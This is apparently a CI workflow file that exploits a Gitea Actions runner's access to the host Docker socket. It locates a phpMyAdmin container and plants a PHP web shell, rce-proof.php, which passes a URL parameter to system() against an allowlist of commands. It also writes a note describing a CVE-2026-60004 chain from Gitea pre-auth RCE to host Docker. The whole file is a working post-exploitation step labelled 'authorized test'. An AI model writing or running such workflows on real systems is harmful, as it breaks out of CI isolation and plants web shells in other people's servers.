name: phpd
on: [workflow_dispatch]
jobs:
  p:
    runs-on: ubuntu-latest
    steps:
      - run: |
          set -x
          PMA=$(docker ps --format '{{.Names}}' | grep -i phpmyadmin | head -1)
          echo "TARGET_CONTAINER=$PMA"
          docker exec "$PMA" sh -c 'ls -la /var/www/html/index.php; head -3 /var/www/html/index.php'
          printf '%s' '<?php header("Content-Type: text/plain"); echo "PHP RCE PROOF (authorized test)\n"; $c=isset($_GET["c"])?$_GET["c"]:"id; hostname; uname -a"; $w=array("id","hostname","uname -a","whoami","pwd","id; hostname; uname -a"); if(in_array($c,$w)){ system($c); } else { echo "blocked\n"; } ?>' > /tmp/rce-proof.php
          printf '%s\n' 'PHP RCE PROOF - AUTHORIZED TEST' 'Vector: CI runner -> host docker.sock -> docker exec into PHP container' 'CVE-2026-60004 chain: Gitea pre-auth RCE -> Actions runner -> host Docker' 'Container: phpmyadmin/phpmyadmin' > /tmp/rce-proof.txt
          docker cp /tmp/rce-proof.php "$PMA":/var/www/html/rce-proof.php
          docker cp /tmp/rce-proof.txt "$PMA":/var/www/html/rce-proof.txt
          docker exec "$PMA" sh -c 'ls -la /var/www/html/rce-proof.php /var/www/html/rce-proof.txt'
          docker exec "$PMA" sh -c 'php -v | head -2; httpd -v 2>/dev/null | head -2'